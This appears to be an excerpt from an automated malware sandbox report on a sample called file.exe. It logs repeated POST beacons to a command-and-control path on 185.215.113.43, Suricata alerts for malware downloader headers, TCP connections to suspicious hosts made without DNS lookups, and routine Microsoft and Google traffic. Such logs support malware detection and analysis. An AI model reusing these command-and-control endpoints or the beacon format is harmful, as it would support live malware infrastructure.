Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49730 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49748 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49756 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49760 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49788 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49801 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49820 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49832 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49844 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49857 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49900 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49901 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49907 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49925 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49924 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49870 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49937 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49944 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49945 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49951 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49952 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49913 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49975 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49974 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49982 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49995 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49996 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49973 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50019 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50032 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50040 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50039 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50050 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:50049 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50064 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50071 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50076 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50083 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50116 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50131 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:50140 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50216 -> 20.189.173.22:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50276 -> 40.79.173.40:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50416 -> 31.41.244.11:80

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C58CC60 PR_Recv,

0_2_6C58CC60

Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiTocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiTocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=d2omb6MvlMgrUyz&MD=Y+yMdoHD HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=d2omb6MvlMgrUyz&MD=Y+yMdoHD HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
